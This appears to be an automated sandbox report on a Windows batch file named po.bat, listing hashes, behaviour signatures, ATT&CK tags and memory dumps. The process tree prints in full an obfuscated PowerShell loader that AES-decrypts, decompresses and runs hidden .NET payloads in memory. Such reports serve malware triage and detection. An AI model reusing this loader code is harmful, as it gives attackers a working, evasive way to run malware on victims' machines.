b1d4310181ae2f48593c1fe2c68f71e6dd39c5f64254fd21304debb944bd1b11

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
31-12-2024 16:18

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General

Target

po.bat
Size

345KB
MD5

25be610e8e3814d3a218e6ab74513af2
SHA1

e94d8a8adbf9b42ee206ae0cea46b2d24225e9fc
SHA256

b1d4310181ae2f48593c1fe2c68f71e6dd39c5f64254fd21304debb944bd1b11
SHA512

201988cc2a36782c841e258160df4ec8d6ecafb8534d2868edbfd827de10e671b38df849f7c97686201fe0d6fb69d147d42b642f4cb6224705eb2a586b2c0235
SSDEEP

6144:GR5FF+fw1uneHT10sG94hEHdiYOGgmNUgd/RZkOXTGKiTGtiIljFiqzpQJK:05j1unET1zG4E9FgmNUgd/PkOXniTeQw

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1916	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1916	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 1916	2404	cmd.exe	29
PID 2404 wrote to memory of 1916	2404	cmd.exe	29
PID 2404 wrote to memory of 1916	2404	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\po.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WXDDP3eCzIksUfspz4NHfGBtlF74ozognZ5SfO7Zxkw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('23MdSkcOxWCbD/Koba3sUw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Eeiaa=New-Object System.IO.MemoryStream(,$param_var); $IalBQ=New-Object System.IO.MemoryStream; $RfJeN=New-Object System.IO.Compression.GZipStream($Eeiaa, [IO.Compression.CompressionMode]::Decompress); $RfJeN.CopyTo($IalBQ); $RfJeN.Dispose(); $Eeiaa.Dispose(); $IalBQ.Dispose(); $IalBQ.ToArray();}function execute_function($param_var,$param2_var){ $HWfkf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TJqdd=$HWfkf.EntryPoint; $TJqdd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\po.bat';$mWxXN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\po.bat').Split([Environment]::NewLine);foreach ($QlAdB in $mWxXN) { if ($QlAdB.StartsWith(':: ')) { $LjOms=$QlAdB.Substring(3); break; }}$payloads_var=[string[]]$LjOms.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1916-4-0x000007FEF62BE000-0x000007FEF62BF000-memory.dmp

Filesize
4KB

Download
memory/1916-6-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/1916-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/1916-7-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-8-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-9-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-10-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-11-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download